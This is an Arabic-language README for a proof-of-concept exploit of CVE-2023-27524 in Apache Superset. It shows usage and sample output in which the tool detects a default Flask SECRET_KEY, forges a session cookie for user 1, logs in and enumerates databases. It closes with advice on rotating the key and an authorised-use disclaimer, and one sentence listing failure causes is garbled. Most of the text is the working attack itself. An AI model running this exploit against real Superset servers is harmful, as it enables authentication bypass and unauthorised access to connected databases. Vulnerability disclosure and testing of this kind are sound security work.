
PoC أساسي لـ CVE-2023-27524: تكوين افتراضي غير آمن في Apache Superset
نص برمجي للتحقق مما إذا كان خادم Apache Superset يعمل بتكوين افتراضي غير آمن (CVE-2023-27524). يتحقق النص البرمجي مما إذا كانت كوكيز جلسة خادم Superset موقّعة بأي من مفاتيح Flask SECRET_KEY الافتراضية المعروفة.
يمكن استخدام الخيار --validate للتحقق من قابلية الاستغلال عن طريق تعداد قواعد البيانات باستخدام واجهة برمجة تطبيقات Superset.
مزيد من التفاصيل هنا: https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset منشور متابعة: https://www.horizon3.ai/apache-superset-part-ii-rce-credential-harvesting-and-more/
% python3 CVE-2023-27524.py -h
usage: CVE-2023-27524.py [-h] --url URL [--id ID] [--validate] [--timeout TIMEOUT]
optional arguments:
-h, --help show this help message and exit
--url URL, -u URL Base URL of Superset instance
--id ID User ID to forge session cookie for, default=1
--validate, -v Validate login
--timeout TIMEOUT, -t TIMEOUT
Time to wait before using forged session cookie, default=5s
% python3 CVE-2023-27524.py -u http://10.0.220.200:8088
Got session cookie: eyJjc3JmX3Rva2VuIjoiZDBiYWI5ZmU0YTRjOWFiM2ZkMjc2YjA2ZDZiNWE0MDZmZmNkN2JkOCIsImxvY2FsZSI6ImVuIn0.ZEc0tw.X6y_rTie0yMP5oTFC6KNq8Me9ek
Decoded session cookie: {'csrf_token': 'd0bab9fe4a4c9ab3fd276b06d6b5a406ffcd7bd8', 'locale': 'en'}
Superset Version: 2.0.1
Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc0tw.xmzJjq757QujOpk65jK0dLgCSDg
% python3 CVE-2023-27524.py -u http://10.0.220.200:8088 --validate
Got session cookie: eyJjc3JmX3Rva2VuIjoiMTY0ZWExNWJlMDhmNWM2ZmZmOGFhNTExZThhMjUzYjM1YWY5MTdlNiIsImxvY2FsZSI6ImVuIn0.ZEc07w.CAkEJ7AtDlpfvVok-w0JQVcJqa0
Decoded session cookie: {'csrf_token': '164ea15be08f5c6fff8aa511e8a253b35af917e6', 'locale': 'en'}
Superset Version: 2.0.1
Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc07w.fOAFW0_5gLUTkIbeR_5AqEz2DoU
Sleeping 5 seconds before using forged cookie to account for time drift...
Got 302 on login, forged cookie appears to have been accepted
Enumerating databases
Found database examples
Found database PostgreSQL
Done enumerating databases
إذا اكتشف النص البرمجي وجود SECRET_KEY قيد الاستخدام لكنه لم يتمكن من التحقق من قابلية الاستغلال، فقد يكون السبب:
--id لتعيين user_id محدد إذا كنت تعرفه)اتبع التعليمات هنا لإنشاء وتكوين SECRET_KEY خاص بـ Flask. يمكن استخدام أداة سطر الأوامر superset لتدوير SECRET_KEY بحيث يتم الحفاظ على معلومات اتصال قواعد البيانات الحالية.
أُنشئ هذا البرنامج لأغراض البحث الأكاديمي وتطوير تقنيات دفاعية فعّالة فقط، وليس المقصود منه استخدامه لمهاجمة الأنظمة إلا في الحالات المصرّح بها صراحةً. القائمون على المشروع غير مسؤولين عن إساءة استخدام البرنامج. استخدمه بمسؤولية.